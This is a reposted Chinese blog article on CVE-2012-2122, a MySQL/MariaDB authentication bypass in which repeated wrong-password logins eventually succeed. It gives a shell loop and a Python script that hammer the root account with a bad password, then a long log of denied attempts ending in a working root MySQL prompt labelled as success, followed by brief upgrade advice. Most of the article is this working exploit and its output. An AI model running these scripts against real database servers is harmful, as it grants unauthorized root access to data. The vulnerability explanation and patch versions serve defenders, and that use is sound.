当前位置: 首页 >数据库 > (cve-2012-2122)Mysql身份认证漏洞及利用

(cve-2012-2122)Mysql身份认证漏洞及利用

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

 

 

工具使用和脚本:

测试方法1:

  网上已经出了metasploit版本的相应利用工具下载地址 

测试方法2:

  $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done mysql>

测试方法3:

  #!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

 

如下用测试方法3:

尝试输入256次输入密码

 

relik@stronghold:~# python mysql_bypass.pyERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045 (28000): Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost (using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root’@'localhost(using password: YES) ERROR 1045(28000):Access denied for user root’@'localhost’ (using password: YES) Reading table information for completion of table and column names You can tu off this feature to get a quicker startup with -A Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 24598 Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu) Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement. mysql>v>

利用成功!
 

MySQL身份认证漏洞处解决办法:升级MySQL(低于以下版本的都必须升级到最新版
本:5.0版本低于5.0.96;5.1版本低于5.1.63;5.5版本低于5.5.25)停止mysql,备份整个mysql安装目
录,data目录(这个步骤只是预防升级失败)。
 

作者:暮日温柔
来源链接:https://www.cnblogs.com/daiorz/p/12009206.html

版权声明:
1、JavaClub(https://www.javaclub.cn)以学习交流为目的,由作者投稿、网友推荐和小编整理收藏优秀的IT技术及相关内容,包括但不限于文字、图片、音频、视频、软件、程序等,其均来自互联网,本站不享有版权,版权归原作者所有。

2、本站提供的内容仅用于个人学习、研究或欣赏,以及其他非商业性或非盈利性用途,但同时应遵守著作权法及其他相关法律的规定,不得侵犯相关权利人及本网站的合法权利。
3、本网站内容原作者如不愿意在本网站刊登内容,请及时通知本站(javaclubcn@163.com),我们将第一时间核实后及时予以删除。





本文链接:https://www.javaclub.cn/database/117749.html

分享给朋友:

“(cve-2012-2122)Mysql身份认证漏洞及利用” 的相关文章

必须拿下的Mybatis动态SQL 2022年05月17日 21:28:59
mysql 查询1小时内 2022年06月06日 12:59:30
MySQL 查询指定时间范围内的数据 2022年06月06日 16:59:25
会mysql不一定会sql 2022年06月07日 04:41:06
shell简单处理mysql查询结果 2022年06月10日 23:22:02
查询mysql中user表 2022年06月12日 18:08:24